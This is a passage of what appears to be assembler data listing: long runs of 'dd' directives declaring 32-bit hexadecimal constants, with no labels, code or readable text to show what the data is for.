0B28754F8h, 16BD821Ch, 0E66E6531h, 360A2D37h, 9D53020Eh dd 877C10FBh, 0D1F6EC96h, 0EEA0D7h, 7025336Fh, 895D468Ch dd 7001C873h, 0CBEE5BE6h, 0F9A91AD6h, 57D7A192h, 28670270h dd 0AB148371h, 98E1EC25h, 527BC7DEh, 0F4982D6Ch, 0B3AF09FEh dd 0DB8883A2h, 1262B615h, 0A8EE16A7h, 5277ADF0h, 7211283Dh dd 0ACF02E6Eh, 28B2D68Bh, 50F2BB9h, 7208EB29h, 0AC16D4F2h dd 1535897Eh, 6B6A4AD7h, 0EC931700h, 8D3EC93Ah, 51F4A13Eh dd 5D9D1410h, 2932D09h, 5CA72960h, 0FE809779h, 2A0CBF67h dd 0A1A1A003h, 0EAF92B9Ch, 80461D5Dh, 1146E656h, 0A9D3C51Eh dd 10AEF07h, 2F50E11Ch, 8D28441Bh, 5FF17EE0h, 8C4A688h dd 6DFC4B4Dh, 0A7805FD1h, 0F5179153h, 2A781B65h, 0BB97B221h dd 43F03CEh, 0B4C08693h, 0D9F9FC77h, 0A3450186h, 0BB558521h dd 0E10C988Fh, 29F20116h, 0F92AC8C0h, 0EEBBB8FEh, 0D8EF31A4h dd 94721965h, 0AD88CFAAh, 0CCCBD377h, 0B0ABEDF1h, 0F71AF5C3h dd 18887F7Bh, 0ED3CC4A7h, 7246F754h, 0EC386C54h, 1D0F3C53h dd 96BBD511h, 1A781C32h, 2F4A3152h, 241747FEh, 0F76C03Dh dd 5F4DE797h dd 0A067ACE4h, 4FFE4203h, 34318926h, 8ED84F34h, 8F4A3829h dd 9AACEB0Bh, 0C235955Bh, 0EC50208Eh, 79556B12h, 0D135D201h dd 4F883D1Dh, 0F49C2C38h, 0BD73AC1Eh, 7DA7F6A7h, 0C1FACFF5h dd 0BCBD48BDh, 0DB524C53h, 0EF988B61h, 5FEB87CEh, 0D2AFDEA4h dd 0F900289Fh, 5950F026h, 0A1F483E0h, 72092ABDh, 8DF07EE4h dd 0AFF0B9C8h, 0ABE138AFh, 5CA15E1Ah, 4833E5BFh, 76371CB3h dd 0D52FB8D7h, 0A106F157h, 0AE4CBDFCh, 8815E784h, 0BCA08760h dd 57513EBBh, 0D4664B2Bh, 3F01A338h, 43FBE7CDh, 60BB8A67h dd 0F31C381h, 7A240DD6h, 2C5F9DB8h, 5A8A58CFh, 0FDD57BBCh dd 23E1E9E0h, 2E8E0834h, 5CA94C00h, 7FAC72F6h, 4AEC4B1Bh dd 0F9B50D67h, 0AE07C85Dh, 12C7EFEDh, 0E4062BD7h, 147E9B72h dd 49DE8EFBh, 0F5C3D599h, 2547F12Ch, 1135CB91h, 0EA47EC35h dd 93008B4h, 2551AC79h, 15168E7Eh, 0AE9DF69h, 33E60352h dd 0CF1488D7h, 6533D49Ah, 0B1BCBFE0h, 0F2D05497h, 47D94FAh dd 0B66B346Ah, 178101A5h, 34FE3818h, 8796A308h, 5E088356h dd 4D509794h, 397CE339h, 7C03C457h, 42FF5376h, 490BE83Ch dd 59E386ADh, 265CCED4h, 807C5F7Eh, 0E552EA6Ch, 0B7859A99h dd 1516F68Ch, 0BC9F0727h, 0D031C05Ah, 981DB4F5h, 21DFB79Dh dd 99302F72h, 0F679889Ch, 0B16E9575h, 0A85E31ABh, 6CC5F7A8h dd 795238BEh, 782BAB94h, 2CD82022h, 7A723423h, 9F9BE2E3h dd 154F3E7Bh, 0FBE43881h, 0EBD53501h, 856EBB62h, 0D697F1D7h dd 0C859B20h, 6E441BC0h, 131D40A5h, 0F7F498CDh, 12E1EEB3h dd 0ABBA10EBh, 0AB4864DEh, 0CE06F80Ch, 455976AEh, 0C7F60796h dd 6BAAD036h, 50EC26DAh, 3715AE8Eh, 0A67C0A4Fh, 0F43B51A4h dd 4187DF08h, 1E3B4E37h, 0B80F8359h, 0D0AD113Eh, 7C13996h dd 0EE2FD0B5h, 63C74834h, 0E8BBFAD1h, 0A4E83DBEh, 123DE557h dd 0CA4FB48Dh, 0C2B55BA2h, 0FB13ED38h, 1AA1316Eh, 131B25EBh dd 510044B3h, 3B5770E6h, 3AC3FECBh, 95086272h, 1497EDEBh dd 338119CEh, 0ED9FAA1Eh, 3A00C160h, 344F2B8Bh, 9F6198A4h dd 7306BCF2h, 87B44222h, 0B195F93Ah, 0D9E0E14Eh, 7ED696FCh dd 18364B26h, 8C4C124Ch, 0BF5947C5h, 51D99885h, 0D499B0F8h dd 99B770EFh, 0F3E76480h, 6DC7FDF4h, 10F196CBh, 0C3BF09FDh dd 7B3FBCC2h, 27EE07D6h, 3ADDCBF7h, 177193FEh, 0FE9B967Dh dd 0C462BFD9h, 0F10B0082h, 86B663FAh, 0DA2D17E2h, 83913A12h dd 31CDA85Fh, 0B82B9DD4h, 6F07E62Ch, 285C2545h, 43F83AD7h dd 14B0AC3Dh, 76179972h, 72655E88h, 0AEF3890h, 0B7015E7h dd 36494974h, 22B7F512h, 0E9FE6901h, 623B23E9h, 3FB1F5B0h dd 440B1901h, 0DD5981FCh, 14E46791h, 5F0E3A2Dh, 0B45761C5h dd 35D7EB0Ah, 40B14F1Ah, 766D063Bh, 0BBF81F73h, 341D84Ah dd 8CB013B7h, 321F0016h, 0B6187A30h, 582AFEDBh, 42A554F4h dd 7EF8365Fh, 0F811F764h, 0B30BB07h, 0A9F7ABF7h, 0B9FBC49h dd 0D8F0E037h, 97E33073h, 1DF172EDh, 7F485AE3h, 0CD1353B2h dd 0F930F79Ch, 8F0D34E0h, 6F9B8A9Ah, 3B564DCDh, 88B34167h dd 0EDCA38EDh, 5F99942Ch, 0D4B97F4Dh, 17940D96h, 9F54AF9h dd 5CA23406h, 0FCC282A1h, 96C096D5h, 385AE4E6h, 7B7E9A59h dd 0B529C94Dh, 0BF5DCD0Fh, 0E14FBEA5h, 4C274303h, 0ED1C0287h dd 91907ECAh, 0C26A2929h, 0CE91B936h, 0E6A82A29h, 14707912h dd 0C1D8A318h, 445882AAh, 8C477EB0h, 3937060h, 8C9B2D47h dd 60A34D18h, 19D39163h, 323B71C1h, 5D02343h, 87F514FBh dd 43EA1528h, 874538EAh, 0F3A87171h, 93BA9B48h, 0D21C5A77h dd 237C5147h, 9E932068h, 0DB0117BDh, 3D801AFAh, 51E058C7h dd 5F7F25A5h, 70C3ADD8h, 41E9CFDEh, 0CF13BEF8h, 9934C4C0h dd 81F16935h, 879C55ECh, 0DED16BDCh, 1C712228h, 1C71FDEEh dd 0C3DD0C03h, 2CF14DE0h, 5AFC65B5h, 21004A80h, 94830D7Fh dd 830BDB1h, 7BBD2569h, 0C6FE8445h, 0CFFA34F7h, 0FA007AFFh dd 59877618h, 0ABCEAB11h, 0B65C16A3h, 94B3D5DBh, 66B21017h dd 39982DF6h, 0BA637317h, 64D640AEh, 6186A76h, 0C0704791h dd 48670599h, 19A8F941h, 0F9D6591Bh, 108264C2h, 587C810Eh dd 33575899h, 0A904DB56h, 4C1343D7h, 589075F7h, 9670C243h dd 0FA678DC6h, 0D05E2662h, 0D4D2D857h, 32062325h, 0E3CFA976h dd 0FFEBD06h, 0C06F7D6Bh, 7D770379h, 0A8EC7A72h, 0B7B7FCECh dd 0EF470D49h, 536A4A4Fh, 0FE2789DDh, 55F48CA2h, 926C116Ah dd 3AECE893h, 0F1E044ECh, 0A3C0E299h, 7B3DCCB2h, 0F2E7A1Ch dd 4130B121h, 0C8947A1Bh, 868ED3D1h, 92DCE0DDh, 5224F424h dd 0B1A79C78h, 1C45F395h, 0BE26BDD4h, 0DAE390DEh, 0B3469773h dd 0BC71CEF5h, 47327318h, 7C759A69h, 4B2715CFh, 39A6075Fh dd 0FB228817h, 0C211A85Ch, 0E68AFB95h, 298B209Fh, 0D8437AD5h dd 0E93140BBh, 0BC46BC4Ah, 0EEACC1C6h, 0D2009B10h, 0F6A25462h dd 0E65B441Ch, 0DEDE476Eh, 75AECDC2h, 0DE1F2892h, 3D8BF462h dd 1A1BE6CDh, 7D5D21E7h, 4C3C12E4h, 0DA83C3B5h, 0FE085DCBh dd 5B0E2B45h, 4BE8CE0h, 7DD6F297h, 0B8C8FE17h, 0B152F55Eh dd 0C16B34B7h, 35A3222Bh, 0BECB39B0h, 8A79543Ah, 0E1F3A31Fh dd 50E9253Dh, 437D961Bh, 4F21E715h, 82FCFB6Ah, 0AEEECADEh dd 232B389h, 0BF866F68h, 0AD82EEECh, 1846699Eh, 0E5E027A1h dd 0D8012A6Eh, 3B7DC04Ah, 0CC8F5F4Dh, 40B82A65h, 335FD9F8h dd 62ABF27Dh, 0CE620751h, 0F5C73160h, 50FB720Fh, 65EAFE24h dd 5B6FED7Ah, 7BE55E5Dh, 0F743116Ch, 3A6AE4C8h, 7EE5A2F3h dd 19181Ah, 14E4F7BFh, 2D038992h, 0B352CB5Ah, 0BC5CE0BBh dd 0AF7DBC81h, 943C9C4h, 1A71770h, 6B7B2997h, 4EACFEA4h dd 6A07FC60h, 64908C3h, 448D6D6Eh, 100062ACh, 5B4D208Ah dd 139969D7h, 0DB316CD0h, 835783E6h, 47955584h, 12637A6Ah dd 444775C3h, 3FAF3CEFh, 75ABEB27h, 5BA7434Ch, 0BEFD46F5h dd 6715A38Dh, 65958048h, 83BADF4Dh, 0B465C54Dh, 0B855F67Ah dd 0D5A690DDh, 0F01ED75h, 923E6558h, 975C7F67h, 0D1FE2115h dd 2A23FCEAh, 5C6AE6E5h, 486EF062h, 268871FBh, 294960D8h dd 6E97D3F5h, 4B9A023Bh, 0B3315F4Fh, 0AFDCE8DFh, 0BE4E282Bh dd 93C6161Ch, 1A2B0466h, 0F0A385FEh, 40E36E4Dh, 0F64E7379h dd 0B283525h, 200E1618h, 18C7025Fh, 75A3E3B2h, 0AEDAE013h dd 0E4508E7h, 0F48FB6E6h, 0BD4575D7h, 5FB91823h, 0BACF693Bh dd 0ADB60639h, 19FB38C8h, 0A1900C9Ch, 0E31D9505h, 655B2E3Ah dd 84D0FE46h, 820759D3h, 1B613E87h, 0A32B91CCh, 0BCA2ED5Bh dd 0C821F461h, 7214B31Fh, 1AD51498h, 0B7D46DA8h, 55B7CF72h dd 0F28C1961h, 36EF18F0h, 0A606BD2Ah, 9EB0589Eh, 173B4DA5h dd 0EB0E717Eh, 0EAABF10Ah, 0A81BC390h, 9DDC86A4h, 0D97B03E5h dd 0FC22D64Dh, 39F4999Fh, 13B9BA05h, 442EA838h, 27FEBB55h dd 1FD848AEh, 5037723Eh, 0FDFEB95Fh, 6907C73Fh, 0A13D5DDBh dd 41E1D56h, 831AE64Ch, 0A734CF9h, 0A12A01ECh, 0BA2334B1h dd 2183D0DDh, 8F2681FFh, 767BEC82h, 0C23B1DABh, 0BD631432h dd 4BD6E88Ch, 0AA000847h, 4CAA8D68h, 2E477D2Ah, 57000016h dd 0B955A424h, 17E508F2h, 8423BB42h, 91083A3Eh, 0DBC8FEE0h dd 0C866807Fh, 0D531CBF8h, 9978BF79h, 92F520F4h, 0EDF25B23h dd 0B6FB73BCh, 0AE5ECC80h, 89A784E8h, 20C0841Ch, 5670EB58h dd 96962138h, 5E20A6DFh dd 61E7A182h, 0D83BC5B1h, 5317F9C3h, 0DCC735F5h, 6CF05337h dd 0C2F0F106h, 5FA206A3h, 6047EFB6h, 0F233067Eh, 870AF994h dd 59C9C08Ah, 0B8AD42Ah, 998369A5h, 0DF387BC2h, 6931CCEh dd 0DB485095h, 65AA6E50h, 0A003CF49h, 0AE0868FFh, 631E5B51h dd 0A8EB60AFh, 0F2D3A2DDh, 17D06064h, 0D6FD3527h, 7BA902B9h dd 745921BAh, 2421AD6Ah, 63F9A188h, 95B77762h, 0FD1EC8BBh dd 88CEB87Dh, 350C6740h, 0BAB8706Fh, 1FB1BF08h, 0C10B0CE9h dd 22F475CAh, 855DE465h, 683780Bh, 0E0ED5274h, 0D6375FEDh dd 94157FC9h, 2D00BE75h, 0F5AFA45Ah, 0BC6C92ECh, 0B3449BBAh dd 2899066Eh, 4B7D3B93h, 67240DA6h, 0E548F0E3h, 0C90F71F2h dd 7ADFEED4h, 7A98A785h, 3F62B626h, 0E4A4D0A0h, 0AB4D5945h dd 51FE96A1h, 408AEFDEh, 134B5AA0h, 8CA52696h, 0FD25FA2Bh dd 11AA9353h, 0AA26CE0Fh, 4658EF45h, 1DE5A2CCh, 9007FBDEh dd 0ADE558E2h, 89AF7A93h, 502F2DE7h, 77A24ED1h, 0B1D6A00Ah dd 52F7F378h, 22207DF8h, 0E94B8AEDh, 218DD8DBh, 6FA9B3E0h dd 0BEE5C435h, 160A5CB5h, 8FCD4C3Ah, 5D1A6E27h, 0CCE87E9Fh dd 0AAB8FEB4h, 0E203AD1Eh, 0F9EF2D94h, 91C1DD51h, 5E289755h dd 3246D565h, 4692CAE8h, 28964683h, 0DBD74B34h, 43EF8767h dd 3D747139h, 339D27BCh, 45DDBAA3h, 442D75D8h, 0C5F4767Dh dd 9F1AA30h, 2291A5E4h, 8614EB6Eh, 99EB5A62h, 657C608Bh dd 0AF54E104h, 81AE973Eh, 6473AA5Eh, 62E48C07h, 0B600C3B7h dd 0C1C06FD0h, 0EF2FD374h, 0EFDBA235h, 32AF89AEh, 2B7BBD1Dh dd 1ED891B2h, 0E6580D4Eh, 0A19EF2C7h, 0F534F7ABh, 0ABEBE115h dd 353F6DBh, 45651FD8h, 0ED6EBC41h, 452274E1h, 5ABF8AB4h dd 30FA2F9Bh, 822B5D9Ch, 0E94ABF80h, 0DCFE0779h, 789116A5h dd 343F72D9h, 21FD5F3h, 0EEC1569h, 0A0B35371h, 0C7814C9Bh dd 625C83E9h, 392B029Dh, 4DE5899Eh, 1C537377h, 1DDABB80h dd 0CA4A24A0h, 9646C19Dh, 8CDB0E9h, 2634A2ABh, 8AB1A57Bh dd 0DD068915h, 0FDE5744Ch, 0A37F9D3h, 63DE2AAh, 0CD495804h dd 0A0A077FAh, 24D5C4DDh, 3BFFA39Dh, 70935A7h, 0EE7D361Bh dd 0D519C948h, 23B39205h, 44D4D3B6h, 22B7163Eh, 0FFA9CE9h dd 81C8CB57h, 3841EAF0h, 0B5A32612h, 1F0FD3A0h, 5C585488h dd 7656472Eh, 0CB59F0DBh, 1FAF4329h, 0DBAAA90h, 0D1EA59FEh dd 869938ADh, 4C9E755Bh, 0F7114D7Fh, 0DF1FA360h, 0E471D558h dd 4A03B600h, 5BC7AB29h, 422F3290h, 4D322061h, 4CA84C3Bh dd 37858AA1h, 0BA152F53h, 3F50FA4Ch, 0EE09504Bh, 0C8A50FADh dd 0EECFE477h, 143D3F68h, 27EA99F8h, 614C10FBh, 31DD5F8Eh dd 7608E906h, 0C9AFAFA9h, 7F052833h, 492042EEh, 594AEA57h dd 32522928h, 0A6E72E31h, 352586A6h, 0DA10525Eh, 0BAF137B3h dd 2820BE65h, 345C3839h, 8A59AE0h, 991C56F5h, 0EEF0DA7Ah dd 24887B68h, 65BB5662h, 0E294D8A0h, 0A4285A73h, 0B63969Dh dd 0D87A0ED0h, 0E543202Eh, 8143C850h, 0D9ED8E0Ah, 0ABD6D2C7h dd 7B52C028h, 8A2EBFA0h, 5CF80F55h, 95315A19h, 8C634A66h dd 2375914Dh, 41B88C6Dh, 0F6669B9Eh, 15BCEBBEh, 0D73B3FA3h dd 0D62606A2h, 0F4DCE302h, 85E5F364h, 1139C234h, 0C8739B38h dd 20BA4114h, 24757682h, 28E5DF0Ah, 349A03D2h, 2EDBCBA8h dd 45D67E4Dh, 0F1E42516h, 0F2E07062h, 59A63A88h, 3F52B105h dd 1C8D5B8Bh, 56EA6537h, 70067D00h, 6E1343BAh, 0BA850F4Bh dd 3EEA1DAh, 0A526BC87h, 0AACFF387h, 0C0EEC17Ah, 0A1ABA3DDh dd 2A8EE3E8h, 0B3DF73B5h, 25D9AF78h, 86485147h, 0C6A54E5Ch dd 3B900755h, 2ABB5D02h, 99BFE207h, 0F7B98CE9h, 0DF64B7AAh dd 91833682h, 0DA44A5D7h, 0B6929A81h, 3FDBF3D6h, 478D2271h dd 2B41EB9Dh, 864619ADh, 77EC56DBh, 0D1EB24CBh, 0ECC54568h dd 34B128ECh, 0C4C9B40Ch, 13A0BE51h, 56F8E0DCh, 0F907A385h dd 0DDD1E5B0h, 0F36D7609h, 97C2485Fh, 4D1F8118h, 0A2C02A74h dd 989CF8B9h, 60007ABEh, 0D2BB8149h, 0EFB08975h, 4F7878Eh dd 0D1F1CBFBh, 0CF7EA817h, 6A089B81h, 509B01F9h, 9BFD7878h dd 0A3D5FC10h, 0C8082D00h, 208B514Eh, 93AEEF50h, 29200633h dd 9CF33D79h, 42140B72h, 862C0907h, 590C4A1Ah, 713C35EAh dd 78D4C7B4h, 502B1403h, 2CA06CB6h, 631B1EBBh, 0C2BBEC27h dd 0DC71B3ADh, 0C47CB1Eh, 0D95D75BAh, 0DE7049B4h, 33D7E1AFh dd 57AE6105h, 0A579E4D8h, 5CC021B5h, 274CFAA5h, 0BE90755Ah dd 0DA9E00F7h, 0AE84E9C5h, 39979D17h, 0CD306D01h, 25914F5Bh dd 231A0C72h, 0E4D77D54h, 9E993C26h, 7332ABECh, 0D2792AB3h dd 0ACA2C547h, 0D6114406h, 0A0CCA633h, 5EAAC236h, 0D904B14Ch dd 20F91C7Ch, 9C3A4908h, 9BAC801Ah, 0B985D4F7h, 1A9B62CBh dd 540F9EBCh, 0A29E7373h, 739F4B6Dh, 22126155h, 4B54B463h dd 7EB6DC7h, 0B914E703h, 86224343h, 85985B12h, 5D705648h dd 2C103F98h, 0A2D99ADCh, 2499E1AAh, 92C7B995h, 0C649723Eh dd 0A02D6AB4h, 5EE95FD2h, 12BD8FC8h, 9891797Dh, 6C86DC73h dd 0B89D1B83h, 53DE645Eh, 6368D4BEh, 57892184h, 5C1F18C4h dd 6DE34042h, 8AE9667Eh, 0E0E21C12h, 0B84287Fh, 29421F2Bh dd 0CDA33648h, 4C2DAEA1h, 9AF5CD52h, 3FBD1F52h, 5220524Eh dd 7F82FDD9h, 0C4E84A1h, 7547F27Ah, 0E4B43ABEh, 5E050BC7h dd 453DCC89h, 0DE1C9F42h, 0AE8B5076h, 0B161EA2Eh, 183AA0D8h dd 60ECBE67h, 0F99326CBh, 79788840h, 9B1023DAh, 9DB69835h dd 4FD86351h, 0D5B9649Bh, 509B39EAh, 3AE68768h, 0E357D879h dd 0E0E9DB95h, 7052B2A3h, 0AA8F3EE6h, 0F9BA99D2h, 39608386h dd 74E4D8E7h, 7C0A4304h, 8742919Fh, 0BE4F4ED1h, 0DCAF217Bh dd 272D3C66h, 6579C6BDh, 0FFBDAE02h, 0C9AE0FF7h, 59860BFh dd 1B370EA5h, 684B89AFh, 1E138857h, 9AA57231h, 5D069F0Bh dd 0C901E364h, 0BAF622CEh, 38E12486h, 7CE90FC6h, 6AA28065h dd 8EC2B57Fh, 796A050Dh, 0AA272F93h, 0D6EB23F5h, 0F01655A2h dd 0C9CF9BADh, 0DB2551C9h, 1F115D2Dh, 0E374F60Eh, 1D6F0E83h dd 2499A16Dh, 0DBCD11A8h, 0A9F695A9h, 54574552h, 25C5C432h dd 6B234E65h, 0D2E76C2h, 0DB017FB5h, 240DED3Eh, 3F3A9C51h dd 43B3AADBh, 98FA6B40h, 37A73123h, 5B5814A2h, 76DBEA53h dd 2FD42108h, 31863116h, 8EBE440Bh, 18C59A40h, 123A490Dh dd 1A9EE6BBh, 28A4DFC1h, 5DEF029Ch, 2D2E8E28h, 5503A1DAh dd 0B132659Ch, 0C2F0C5A6h, 60D67ACEh, 2F83FBh, 0FC7B47A9h dd 0D137C891h, 0B2AC19FCh, 42227953h, 0F54ABB4Fh, 0FB93209Ah dd 0C7D9AA7Bh, 560ABD6Ch, 0D5FF3B36h, 23540D13h, 0BA111369h dd 6B7EF2E4h, 0D9FAB57Bh, 8048E1A4h, 0F5B60472h, 443893E4h dd 5FCB0EF1h, 0DBDA32A8h, 71FB419Dh, 0A8F5AC38h, 0B189B399h dd 97D8A4B5h, 8B1A3A45h, 193436AFh, 956FB39Eh, 7FA5D76Ah dd 0D87940E7h, 0AAEB5B2Fh, 0BE1476B5h, 3DE907A2h, 14EACF9Dh dd 554D9BD6h, 7AD9F6C4h, 0E1B8FFC7h, 347B3AF0h, 71B4220Dh dd 53CC625Ch, 5CEB15D1h, 0C55C4758h, 640EE52Ah, 7D94231h dd 45D8F52Ah, 0B5AB5139h, 3688CF82h, 0EC11D801h, 638C9408h dd 69D2680Dh, 4DF2110h, 924F3F68h, 7DAEA782h, 0CEBD28D1h dd 8987BC53h, 517C42E4h, 0D55EBCEh, 0A2F3A747h, 0E4119E7Eh dd 60CE5200h, 898C6914h, 4777433Fh, 8E17518Ah, 0D2DCA37Ah dd 3B36AEC7h, 0BB4CA2B0h dd 998833D5h, 71F63387h, 6862A717h, 7FF420D6h, 9FC93B71h dd 0DB4348AEh, 4368E51Ah, 663216CFh, 0FF4B94B1h, 38A53783h dd 0A7B23776h, 0FE7FFB34h, 0F6DD927Eh, 0C494A850h, 675EB100h dd 9DD9E582h, 0DE26F0AFh, 4E0EEC2Fh, 1138FE48h, 773C32B6h dd 74E0BFF4h, 0DE5A9421h, 80DF00B9h, 9DD71E0Ah, 209218A0h dd 980FC065h, 95B141A8h, 62FCC6B4h, 9F406F10h, 54B02AB9h dd 0CC188BADh, 7DCD4479h, 0CC96C8C4h, 0B7ACF4DBh, 0EC49F535h dd 969BF0A7h, 71E5CC27h, 575BB80Bh, 0FE2DFB74h, 33E7CFA9h dd 971D6542h, 0F46B09BEh, 7121A3BAh, 0E15B010Eh, 24105C89h dd 0D4C6BEFh, 0DA48A4A0h, 5E4BC045h, 9CD55DA4h, 0B2D8AD16h dd 2F4B2EB4h, 0CF00C58Dh, 2DEFFEA1h, 734DB1FCh, 0FC353AECh dd 0B95E6344h, 71842793h, 0D8D19B06h, 1692F389h, 96B4ABFBh dd 0B57349A2h, 7CCEAF2h, 0AB9EC072h, 0C1A5D98Bh, 4C61D382h dd 6F5EC37Ah, 31E32B7Fh, 0E3F7EC3Fh, 95BD0803h, 0B162468Fh dd 4B6E319Fh, 0D2357A69h, 59088CB2h, 4DE62B46h, 693F2743h dd 5E707A31h, 0F078DCA6h, 443BB984h, 6D9547F9h, 9301073Ah dd 0C34FF150h, 0BD730CDDh, 0E225F09Ah, 4C093A61h, 2A22A5BCh dd 60805EF7h, 0ADE422E0h, 26629B6Eh, 0ED249F2Fh, 0D428BE92h dd 7D481680h, 0C9F272BFh, 86AB65A8h, 97A17645h, 1B5D77A5h dd 0D5DA4C73h, 9EEEE91Dh, 6137A327h, 0CC8A7134h, 8131564Eh dd 0F875810Bh, 8108F947h, 4D57BE61h, 3C7741E8h, 3805617Fh dd 2CCBE572h, 0EFD2F0C4h, 0E0DB1ED8h, 0C653296Dh, 0EDC3C60Eh dd 9BC1E762h, 0F5520466h, 9754A066h, 274C9BBBh, 0DB7F5D48h dd 76B182C5h, 0C7FC0830h, 8B607BE3h, 0AD5DC304h, 0A647B5FDh dd 0FB9ED47Ah, 470474CCh, 0A9B6EEC8h, 56738059h, 65B14B4Dh dd 0A634183Fh, 18CCB0Fh, 4DF34A54h, 0A670AE0Ah, 8AEB66A0h dd 4376B7DBh, 0B0748351h, 0F57F8231h, 0AA879180h, 61BE9144h dd 3BF67F1Ah, 46D0FF1Ah, 916740E6h, 42511BE6h, 21D319CEh dd 970FB1D0h, 218592D4h, 0EBB78935h, 44F87AF9h, 0E67E6174h dd 0E6985C4Eh, 0C1DFC7BDh, 40644512h, 2F3A8E1Bh, 0D8CA9761h dd 91565694h, 0BB334A24h, 0D65024B9h, 0A523EEFCh, 1CE6CE51h dd 0C782A71Eh, 36994F36h, 0D896762h, 29535B1Fh, 0C84B552Bh dd 0FF42CC32h, 696C21Ch, 34FB6904h, 0F2EB66D7h, 28DE781Ah dd 0FC4681CFh, 6B9FD44Ah, 0BB17DFADh, 0D3F66CC4h, 9B8C04ADh dd 8CF9BBBAh, 3C2BC3F5h, 65D7BE5Dh, 38005CEFh, 0F29A4FA9h dd 5E3E5EBCh, 0CFEC8FDCh, 52E795h, 747F5BA5h, 6182FE7Ah dd 66921524h, 4EB9209Fh, 0BAEA2831h, 0F8A58E63h, 2624CD27h dd 1DAB11F2h, 3A893368h, 8B73F0Ch, 0A6B8287h, 0A2B4DB8Ah dd 1E3BBAA8h, 610E8E84h, 3F04DB4Ah, 55E0706Fh, 83DD2DCAh dd 7A7F1001h, 3A918C3Eh, 92BBCBF8h, 0A8C00D6Fh, 0B19EE3EBh dd 9448A4B5h, 2F8976F2h, 53F018C8h, 4C87F4F7h, 224D819Ah dd 26B1B6B2h, 5BAE843Ch, 88BEBF48h, 0F3AB035Ah, 0CC9BE9D0h dd 0FB24C7A5h, 1D2DB059h, 0DB14661Bh, 0BB51BAE2h, 249EA409h dd 0B3512E11h, 27C6157Ah, 1F9EAF0h, 0C2362540h, 0E27A4C74h dd 0F750F675h, 7C704603h, 9A5B5DC7h, 0E3B4A2F8h, 4D89BDC4h dd 618FE399h, 131EDE73h, 0C599FA95h, 6CC960F1h, 2778CEC0h dd 0E87B54DBh, 4B6F3EA8h, 8D43033Dh, 0E1812A1Ah, 870C38DCh dd 14A443D9h, 0A74002CAh, 5A1AF7C5h, 6044AF29h, 0B1727A03h dd 0CAD2AF6Fh, 0C80946BEh, 69D54DF0h, 0D81E437Ch, 0BC9FD692h dd 0C4B27374h, 1C21B95Ch, 0C7CE4544h, 47BA8CCCh, 0C17336A8h dd 0F8DA436Ah, 7C6A381Fh, 0DF7BE689h, 0D9008219h, 481F2C7Eh dd 0C7D803ADh, 0A983FB2Bh, 32C3CA33h, 0F23F89B2h, 241610F0h dd 6878A5C5h, 0B6A403D6h, 0DBEA696Dh, 583D9DD8h, 0B09F893Eh dd 4F4864CEh, 5A43FEA8h, 40A900CAh, 98EBC23Fh, 2BC932ABh dd 9CDE7215h, 45CDB6BFh, 98F0CCD2h, 0D90BFE69h, 74DC2996h dd 868044ABh, 629630C6h, 5C4B65E8h, 0DE3CAA02h, 0E9D8D611h dd 7ED4CFEFh, 49A2D6CBh, 2574CC61h, 88D6CB78h, 1EBAD083h dd 6923EE19h, 0D551D697h, 3AF3C9DFh, 0B915CCFBh, 733FBD2h dd 0E2BF433Ch, 2F9B5349h, 3D1C990h, 0EF6333A5h, 6CFE0FF1h dd 0C55261C4h, 3416286Bh, 268DDC62h, 95A4B2EFh, 0D3985FE6h dd 69C0C698h, 6F3D9728h, 11829736h, 0B4626B8Bh, 0D992C4Ch dd 6AE7AFBDh, 0AF7B3568h, 148B39AEh, 96250C27h, 449775C2h dd 98C1E500h, 3B751407h, 0A200AB94h, 92B83229h, 0FFECC98h dd 84C44D4Eh, 649B7579h, 0DC949E53h, 8FEF2FF5h, 4795B710h dd 0B400CAF9h, 92B3B644h, 9D1DC63Fh, 66D5D1D0h, 5BB6C7BAh dd 0FA9135B5h, 634EB50Ch, 0F66CBB4Dh, 4B66478Fh, 0DE01B928h dd 4AC4351Bh, 5D5BFAFCh, 0BE0623h, 73FA2D6Ch, 0F29EE92Dh dd 0E992DE5Fh, 0B54E2392h, 24641482h, 0A01C8A4Fh, 0AD2B5564h dd 0F3F20195h, 5A933FA8h, 4F68EA3Ch, 0E903941Bh, 0EB6CD76Eh dd 3C623A73h, 0A45CF023h, 6E80EE44h, 3C71EBE4h, 77B17EDAh dd 1A698221h, 441B8D79h, 0B77C054Bh, 0C616AD1h, 7511EE85h dd 7D408B23h, 0D6703858h, 9D679033h, 84A4C284h, 67050B34h dd 0FDF215CEh, 1E7ADEE0h, 752F688Dh, 6E26EDCCh, 8AC999DCh dd 0BBC94D19h, 1DA5FED2h, 11D536BEh, 0ED461FEAh, 1B7CA66Ch dd 70C7FF13h, 39EFA942h, 14AB4672h, 0B046617Bh, 50A7C587h dd 87FD98F1h, 42BE8374h, 27FD211Ah, 1BA2573Eh, 6ED0AB35h dd 0FC9661FEh, 0BE552A8Fh, 0DB7B65B8h, 0F118340h, 76CDC531h dd 0D50668E6h, 69B39B27h, 0E8A51CA0h, 0FAF0C221h, 1044B090h dd 0DC8274FDh, 0D4BE8512h, 77399859h, 33525ACCh, 4E79B036h dd 0F74421BEh, 75DEEAABh, 39FCBEE7h, 7AFF9A9Eh, 8B26D6F5h dd 0BB5FF679h, 0C79E7616h, 0E54EDEACh, 1FB7E7ADh, 9623936Eh dd 5A9B2B97h, 0BD8D195Eh, 1DABEC7h, 451D101Bh, 32BF8126h dd 48DA9275h, 0E0AD2A45h, 0A1C2419Eh, 7DDEFCE6h, 0B560AC3Ch dd 102186D1h, 63A5754Dh, 320576FAh, 1D3015A8h, 19201C62h dd 536301C8h, 1295A46Dh, 0A4BBE280h, 0B9C66F67h, 114E7AA0h dd 0A864A962h, 0DCCD392Bh, 7E39DB69h, 6D2CF43Bh, 0AC2009ACh dd 0C628B2C0h, 0A058470h, 57FEAB58h, 20F60023h, 0F4BD3E90h dd 7876B84Ah, 0BA8C8091h, 357A746Dh, 944BDB3h, 6C605659h dd 18D66D20h, 79E1FEB2h, 86883E40h, 4C92562Bh, 5604DDBDh dd 0EE9E9CD1h, 0AD74F1CDh, 2B952B88h, 3E08AC0Fh, 0FE90F63Bh dd 152D0F3Ch, 0A54B5255h, 8E32458Eh, 1F17D20Eh, 31AB4C1Ah dd 0C94DB19Dh, 118A9016h, 375B0BADh, 680DEBCDh, 87E30145h dd 0D5D089Fh, 8FF5F813h, 614CF0FEh, 74B9F4B1h, 0DB7F9186h dd 0A95E8C6Ah, 51F7932Ch, 8A2275DCh, 90888A06h, 731E60F7h dd 7FCDBB0Ah, 0DE891629h, 0F2776140h, 0BE78A7AAh, 6094D48Ah dd 0C28771D0h, 0FD2FADA2h, 0E78EEC3Eh, 5F3D69F1h, 94385811h dd 61CEEEECh, 